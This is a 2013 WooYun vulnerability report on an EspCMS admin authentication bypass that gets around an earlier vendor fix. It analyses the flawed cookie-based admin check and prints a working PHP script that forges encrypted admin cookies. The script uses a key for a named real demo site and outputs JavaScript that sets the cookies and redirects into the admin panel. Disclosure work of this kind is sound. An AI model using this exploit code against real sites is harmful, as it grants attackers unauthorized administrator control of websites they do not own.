当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022517

漏洞标题:EspCMS 后台登录绕过漏洞再利用(再利用!)

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: c4rp3nt3r

提交时间:2013-04-25 18:31

修复时间:2013-06-09 18:31

公开时间:2013-06-09 18:31

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-25: 细节已通知厂商并且等待厂商处理中
2013-04-25: 厂商已经确认,细节仅向厂商公开
2013-05-05: 细节向核心白帽子及相关领域专家公开
2013-05-15: 细节向普通白帽子公开
2013-05-25: 细节向实习白帽子公开
2013-06-09: 细节向公众公开

简要描述:

声明下,此漏洞0413提交到360漏洞平台,之后0422官方修复了该漏洞。
现在提交到wooyun是绕过官方修复的方法,继续利用。
可以算是老漏洞提死回生,不应该算是同一个漏洞提交到两个地方,希望有关部门能够明白,尽管代码非常像。

详细说明:

之前4月13日在360的漏洞平台提交过一次,当时给出了能计算出db_pscode的利用工具。db_pscode是安装的时候随机生成的一个字符串常量,保存在配置文件里。4月22日,官方发布了新版本,改进了程序安装时候生成db_pscode的方法,"修复了"该漏洞。其实官方只是防住了当时的那个exp,并没有从根本上防住漏洞。22日之前是32位的md5hash字符串,这次长度变的不固定可以是1-39位的字符串,但是依然可以逆向出来,这里还是以后台绕过的方法来利用这个漏洞。
先看一下EspCMS后台的验证流程
管理的主界面important类的构造函数:

<?php
//adminsoft/management.php
class important extends connector {
function important() {
$this->softbase(true); //构造函数调用了父类中的softbase函数,softbase函数又调用了admin_purview函数来验证登录状态
}
---
//父类 connector中的softbase函数
// public/class_connector.php
class connector {
function softbase($admin_purview = false) {
header("Content-Type: text/html; charset=utf-8");
$this->dbmysql();
$this->commandinc();
$this->systemfile();
$this->cachedb();
if ($admin_purview) {
$this->admin_purview(); //这里会验证管理员是否已经登录
$this->sitelng = $this->getlng();
$action = $this->fun->accept('action', 'R');
if (in_array($action, $this->esp_powerlist) && !in_array('all', $this->esp_powerlist)) {
exit('Permissions errors'); //$this->esp_powerlist权限列表 这里设置成all就ok了
}
}
.....
// public/class_connector.php
function admin_purview() {
if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') {
$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'G');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'G');
$gettype = false;
} else {
$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
$gettype = true; //上面的两个数据可以从 cookie 和get的参数中获取
//我们还是直接从cookie入手吧,一是隐蔽啊,来无影去无踪,二是能保存参数值
//$esp_powerlist 是权限列表 我们让这里 解码后是 all 也就是拥有所有权限的管理员
//$ecisp_admininfo保存着管理员的一些信息
}

//下面的db_pscode 我们已经能够控制了,$ecisp_admininfo我们可以自己构造,进一步控制 $arr_purview 和 $this->esp_powerlist
$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));
$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));
// "1|c4rp3nt3r|12345678901234567890123456789012|md5('Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101') |1|management|".ms5('http://scan.hackme.info/espcms/adminsoft/');
list($this->esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $this->esp_powerid, $this->esp_inputclassid, $this->esp_softurl) = $arr_purview;
if ($gettype) {
//cookie提交的参数 程序就进到这里 只要满足下面的条件 使 $condition = 1; 那么就通过了管理员验证
//这里的问题是所有数据没有再一次进入到数据库验证(如果验证的话估计会产生SQL注入:)
//我们构造 $this->esp_username = 'c4rp3nt3r'; $this->esp_adminuserid = '1';$this->esp_softurl是后台地址已知的
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
} else {


if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {
if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
header('location: index.php?archive=adminuser&action=login');
exit();
}
} else { //通过了管理员验证 :-)
if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
exit();
}
}
}


这里关键是 $this->fun->eccode() 这个函数的解密密钥 db_pscode 的获取了。
通过对比明文和密文可以逆向出这个值:
为了不必要的误会和麻烦,这里就不给出计算db_pscode的具体代码了。说下方法吧:
通过useragent 和 网站根目录网址就能逆向出超过66位的字符串值。
0422后db_pscode长度如果在32位之内也可以通过别的地方如发送验证邮件的地方获得32位的验证码。
总之N多方法。
这里直接给出后台绕过的javascript利用代码的生成代码:

<?php
// code by [email protected]
$admin_AGENT = $_SERVER['HTTP_USER_AGENT'];
//////////////////////////////////////////////////////////////////////
$admin_ClassURL = 'http://demo.ecisp.cn/adminsoft';
$key = "b229c152dsafsdafasfsadfasfdsfcbda220a9c5"; // http://demo.ecisp.cn 这个网站的 db_pscode (20130425)
//////////////////////////////////////////////////////////////////////
$powerlist = 'all';
$admininfo = '1|espcmsadmin|cccccccccccccccccccccccccccccccc|'.md5($admin_AGENT).'|1|1|'.md5($admin_ClassURL);
$esp_powerlist = eccode($powerlist ,'ENCODE', $key);
$ecisp_admininfo = eccode($admininfo, 'ENCODE', $key);
$exploit = '';
$exploit = "document.cookie='esp_powerlist=$esp_powerlist';\n";
$exploit .= "document.cookie='ecisp_admininfo=$ecisp_admininfo';\n";
$exploit .= "//alert(document.cookie);\n";
$exploit .= "window.location.href='".$admin_ClassURL."/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter'; \n";
echo "<pre>".$exploit."</pre>";
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
$result = '';
//echo '^'.$key."^\n";
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}


漏洞证明:

espcms_for_wooyun.png

修复方案:

呵呵我是来支持wooyun的

版权声明:转载请注明来源 c4rp3nt3r@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-04-25 20:03

厂商回复:

感谢!真是强中自有强中手,一山更比一山高啊!!!

最新状态:

暂无